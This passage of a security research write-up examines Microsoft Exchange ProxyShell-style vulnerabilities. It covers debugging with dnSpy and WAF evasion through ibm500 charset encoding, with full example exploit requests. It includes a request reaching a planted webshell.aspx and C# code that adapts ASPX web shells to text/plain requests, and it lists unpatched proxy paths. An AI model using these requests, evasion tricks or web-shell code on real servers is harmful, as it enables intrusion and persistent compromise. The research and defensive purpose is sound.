						8264		CLR v4.0.30319	х64	c:\windows\system32\inetsrv\w3wp.exe	c:\windows\system32\inetsrv\w3wp.exe -ap "MSExchangeRpcProxyFrontEndAppPool" -v "v-		
						7008		CLR v4.0.30319	x64	c:\windows\system32\inetsrv\w3wp.exe	c:\windows\system32\inetsrv\w3wp.exe -ap "MSExchangeServicesAppPool" -v "v4.0" -c "C:\		
						3004		CLR v4.0.30319	x64	c:\windows\system32\inetsrv\w3wp.exe	c:\windows\system32\inetsrv\w3wp.exe -ap "MSExchangePowerShellFrontEndAppPool" -v "		
								CLR v4.0.30319	x64	C:\Program Files\Microsoft\Exchange Server	"C:\Program Files\Microsoft\Exchange Server\V15\bin\UMworkerprocess.exe" -port:16000 -s 🚽		
		Refres	h Use 3	2-bit dnS	oy to atta	ch to 32	-bit pro	ocesses			1 Attach Cancel		

After attaching dnSpy to the correct process, we need to click on the 'Module' panel and find the DLL which contain our interesting function we want to debug. In this case, our DLL file is 'Microsoft.Exchange.FrontEndHttpProxy.dll':

М	odules							•••••••••••••••••••••••••••••••••••••••
Pr	rocess All 🔹 😤 Search							
	Name 🔺	Optimized	Dynamic	InMemory	Order	Version	Timestamp	Address
	Microsoft.Exchange.Diagnostics.dll	Yes	No	No	137	15.01.2242.004	2/24/2021 10:24:28 AM	000000B274160000-0000
	Microsoft.Exchange.Entities.DataModel.dll	Yes	No	No	186	15.01.2242.004	2/24/2021 11:42:42 AM	000000B270BA0000-0000
	Microsoft.Exchange.Extensibility.Internal.dll	Yes	No	No		15.01.2242.004	2/24/2021 10:58:02 AM	00007FFD82A00000-0000
	Microsoft.Exchange.Extensibility.Internal.dll	Yes	No	No		15.01.2242.004	2/24/2021 10:58:02 AM	000000B274400000-0000
		Yes	No	No		15.01.2242.004	2/24/2021 1:15:19 PM	000000B26F960000-0000
==	Microsoft.Exchange.HttpProxy.Common.dll	Yes	No	No		15.01.2242.004	2/24/2021 12:05:58 PM	000000B270310000-0000
	Microsoft.Exchange.HttpProxy.Common.dll	Yes	No	No		15.01.2242.004	2/24/2021 12:05:58 PM	000000B270310000-0000
	Microsoft.Exchange.HttpProxy.Flighting.dll	Yes	No	No		15.01.2242.004	2/24/2021 10:48:17 AM	00007FFD5B110000-0000
	Microsoft.Exchange.HttpProxy.Flighting.dll	Yes	No	No		15.01.2242.004	2/24/2021 10:48:17 AM	000000B270660000-0000
	Microsoft.Exchange.HttpProxy.Routing.dll	Yes	No	No		15.01.2242.004	2/24/2021 12:07:41 PM	000000B2701C0000-0000
-	Microsoft.Exchange.HttpProxy.Routing.dll	Yes	No	No	134	15.01.2242.004	2/24/2021 12:07:41 PM	000000B2701C0000-0000
Lo	ocals Modules Watch 1 Call Stack Breakpoints Search							

Now we need to find our interesting function ('ResolveAnchorMailbox') which was at 'HttpProxy\EwsAutodiscoverProxyRequestHandler.cs' to add a breakpoint:



Now everything is ready to send our request to see whether our breakpoint works:



The rest is just similar to normal debugging but with some surprises from the parallel threads.

## How Can WAF Rules be Bypassed?

As we are dealing with an ASP.NET application on IIS when exploiting these vulnerabilities, <u>request</u> <u>encoding</u>, <u>parameter pollution</u>, and <u>other technology specific techniques</u> can be used to evade firewalls which are only relying on detecting specific input parameters in the URL or in the body of the requests.

Although anything other than 'text/xml; charset=utf-8' in the 'Content-Type' header would be rejected by the Exchange server, the 'x-up-devcap-post-charset' header and use of 'UP' in the 'User-Agent' header could save the day to change the character set (see <u>this link</u> for more details).

The following request shows an example as part of the ProxyShell exploit to get the LegacyDN value:

POST

/autodiscover/owa/logon.aspx/autodiscover.json?<@ibm500>..live.com/autodiscover/autodiscov er.xml?&ProxyParam=ProxyValue&<@/ibm500>&<@ibm500>Email<@/ibm500>=<@ibm500>aut odiscover/owa/logon.aspx/autodiscover.json?..live.com<@/ibm500> HTTP/1.1 Host: Example-ExchangeProxyShell-ToGetLegacyDN User-Agent: UPMozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0 x-up-devcap-post-charset: ibm500 Content-Type: text/xml; charset=utf-8 Content-Length: [dynamic] <?xml version="1.0" encoding="ibm500"?><@ibm500><Autodiscover xmlns="bttp://schemas\_microsoft.com/exchange/autodiscover/outlook/requestschema/2006"><</pre>

xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">< Request><EMailAddress>SystemMailbox{bb558c35-97f1-4cb9-8ff7-

d53741dc928c}@exchange.local</EMailAddress><AcceptableResponseSchema>http://schemas.m icrosoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSche ma></Request></Autodiscover><@/ibm500>

The <u>HackVertor</u> extension by <u>@garethheyes</u> in Burp Suite is in charge of encoding in the above sample request (HackVertor tags start with '<@').

The actual request after being encoded looks like this:

Rec	quest		
Pre	Raw Hex \n $\equiv$	Select extension	~
1 H 2 H 3 U 4 D 5 C	POST /autodiscover/owa/logon.aspx/autodiscover.json?KKDI¥EKCC aD#£CCC4CD#CCaD#CC4CC4CC4CC4CC4CC4CC4CC4CC4CC4CC4CC4CC4	(0000~×00\$`` &00)	¤DP&
7 8 • 1 1	xml version="1.0" encoding="ibm500"? Lá#1000400¥00@S0004~D112aa4000004KD0004C01KC00a0S000000a0#100400¥00a0#1041.40000a00004.40000 044na"4100600000Sà0035e053°0+03°8004°e00+`035+360003e09];0033K000001aå600004010044n1áD00010000 00004K000004001K000a0S000000a0#100400¥00a0#10004040004040000a3388001aá6000020000040a0040 00004K000004001K000a0S000000a0#100400¥00a0#10004040004040000a3388001aá600002000040400040 0000	)00 = 0 < £ nī Å ô000 < 0 å00000 n0 £ £ 0 z ø )00 = 0 < £ nī ø Á = £ 0(	Á□□□ a a ¢□ □□ ¢□

The URL encoding was different than a normal .NET request encoding as it was being proxied so the back-end and front-end would not parse it in the same way. The fun fact was that this encoding broke the reporting part of the <u>mitmproxy</u> tool which was used to monitor the connection between front-end and back-end of the Exchange server during our test!

This example shows just how much a request in .NET can be evolved to avoid easy detections. Code and implementation can also be used to hide or obfuscate the payloads. An example in here is the

conversion of '..' to '@' in the 'Email' parameter (Microsoft.Exchange.HttpProxy.Common\Common\ExplicitLogonParser.cs):



Parsing issues or ignoring arbitrary string for example after the '/powershell/' path can also be used to avoid easy detections.

This is the reason why WAF cannot really stop such attacks and a proper patch is the only solution to resolve these issues.

Microsoft recently patched another issue within the Offline Address Book (OAB) module which could potentially be abused to create web-shells within the 'C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\OAB\' path. Perhaps this could also be utilised to create another attack variant. A request to access a created file within the OAB path would look like this:

```
GET /autodiscover/autodiscover.json?test..test.com/oab/e6232118-4f9d-4db4-bc88-
7f9dc5295b1c/webshell.aspx?&Email=autodiscover/autodiscover.json%3ftest..test.com HTTP/1.1
Host: MyExchange
X-WLID-MemberName: administrator@mydomain.local
X-ProxyRetryIterations: 1
Content-Length: 0
```

## From "text/plain" to "application/x-www-form-urlencoded" in .NET

While working on the ProxyShell exploit, we noticed that it is not possible to send normal POST requests with the 'Content-Type' header set to 'application/x-www-form-urlencoded' or 'multipart/form-data' as the server responded with the following error message:

This method or property is not supported after HttpRequest.Form, Files, InputStream, or BinaryRead has been invoked.

Although it is not difficult to use other off-the-shelf web-shells with different extensions such as '.asmx' or '.svc' to use XML or JSON in the body, it would be more fun to use our old-fashion ASPX web shells such as <u>ASPXSpy</u>!

The easiest solution would be to use the 'enctype="text/plain"' attribute on all the HTML 'Form' tags within the web-shell rather than rewriting it using JavaScript and XHR. However, .NET does not parse 'text/plain' requests so it is not possible to read the incoming parameters using 'Request.Form'. We resolved this by using the following .NET code which simply parses the 'plain/text' request using a Regular Expression and then uses reflection to populate the 'Request.Form' object:

```
// Simple multiline plain/text to Form Key/Value converter!
if(System.Web.HttpContext.Current.Request.Form.Count == 0 &&
System.Web.HttpContext.Current.Request.ContentType=="text/plain"){
      var bodyString = "";
      using (System.IO.StreamReader reader = new
System.IO.StreamReader(System.Web.HttpContext.Current.Request.InputStream,
Encoding.UTF8))
```

```
{
                bodyString = reader.ReadToEnd();
        }
         string[] result = System.Text.RegularExpressions.Regex.Split(bodyString,
 @"(?<parser>[^\r\n=]{1,50}=[^\r\n]*([\r\n]+[^\r\n=]+)*)(?=[\r\n])",
 System.Text.RegularExpressions.RegexOptions.Multiline|System.Text.RegularExpressions.RegexO
 ptions.ExplicitCapture, System.TimeSpan.FromMilliseconds(500));
         var oForm = System.Web.HttpContext.Current.Request.Form;
         var flags = System.Reflection.BindingFlags.NonPublic |
 System.Reflection.BindingFlags.Instance;
         oForm = (NameValueCollection)
 System.Web.HttpContext.Current.Request.GetType().GetField("_form",
 flags).GetValue(System.Web.HttpContext.Current.Request);
         var oReadable = oForm.GetType().GetProperty("IsReadOnly", flags);
         oReadable.SetValue(oForm, false, null);
         foreach (string match in result)
         {
                if(!String.IsNullOrWhiteSpace(match)){
                        var keyValue = match.Split(new char[] { '=' },2);
                        var key = keyValue[0];
                        if(!String.IsNullOrWhiteSpace(key)){
                                var value = "";
                                if(keyValue.Length > 1)
                                        value = keyValue[1];
                                oForm[key] = value;
                        }
                }
        }
         oReadable.SetValue(oForm, true, null);
        var oContentType =
 System.Web.HttpContext.Current.Request.GetType().GetField("_contentType", flags);
         oContentType.SetValue(System.Web.HttpContext.Current.Request, "application/x-www-
 form-urlencoded");
         System.Web.HttpContext.Current.Response.Clear();
         System.Web.HttpContext.Current.Response.BufferOutput = true;
         Server.Transfer(System.Web.HttpContext.Current.Request.Path, true);
         System.Web.HttpContext.Current.Response.End();
}
After running the above code at the beginning of an old fashion ASPX web-shell (or within the
'OnPreInit' method), it can start working using the simple 'text/plain' request which was allowed in
```

ProxyShell. The only limit was the file upload as the above implementation does not support 'multipart/form-data' and browsers do not send files using 'text/plain'.

## What's Not Fixed & What Relevant Stuffs Can Be Researched Next?

Although Microsoft has addressed the most serious issues above and it is no longer possible to exploit the reported vulnerabilities, a few things are still outstanding which might be abused in the future:

1- Proxy bit of ProxyShell exploit is still there. For instance, if we send a request to:

/autodiscover/autodiscover.json?test@test.com/ews/Exchange.asmx?&Email=autodiscover/autodiscover/autodiscover.json%3ftest@test.com

It still sends the request to the back-end on port 444:

/ews/Exchange.asmx?&Email=autodiscover/autodiscover.json%3ftest@test.com Although this request is now unauthenticated, it can still be useful if there are some endpoints accessible to unauthenticated users which contain vulnerabilities.

2- Proxy bit of <u>ProxyToken</u> exploit can still transfer the unauthenticated requests to the '/ecp/' path in the back-end when the 'Cookie: securitytoken=foobar' exist in the request.

3- The Calendar path which was touched by some patches in April 2021, still allows unauthenticated requests to reach the '/ow/ path in the back-end using patterns like these:

/owa/calendar/foobar@exchange.local/foobar/MeetingPollHandler.ashx/.html Or

/owa/calendar/foobar@exchange.local/foobar/owa14.aspx/.js

4- The 'EntitySerializer.Deserialize' method which was the source behind the identified deserialization issue in the NSA Meeting exploit is still there and might affect another function. In addition to this, the 'SchematizedObject' class has been extended by many other classes which may lead to deserialization issues in the future in a similar way. This class itself is extending the 'PropertyChangeTrackingObject' class which contains the 'EntityLoggingData' and 'EntitySerializationData' internal classes with some members defined with the 'Dictionary<string, object>' type.

## Final Words to Improve Your Exchange Security

Apart from keeping the Exchange server up to date with the latest versions and monitoring network traffic, file monitoring tools must be used on the server to detect suspicious file creations especially within web directories and .NET temporary files.

Changing file permissions or the default installation paths as well as using WAFs may slow some intruders down while alerts are being monitored to detect potential attacks. However, these are not final solutions as all these can potentially be bypassed.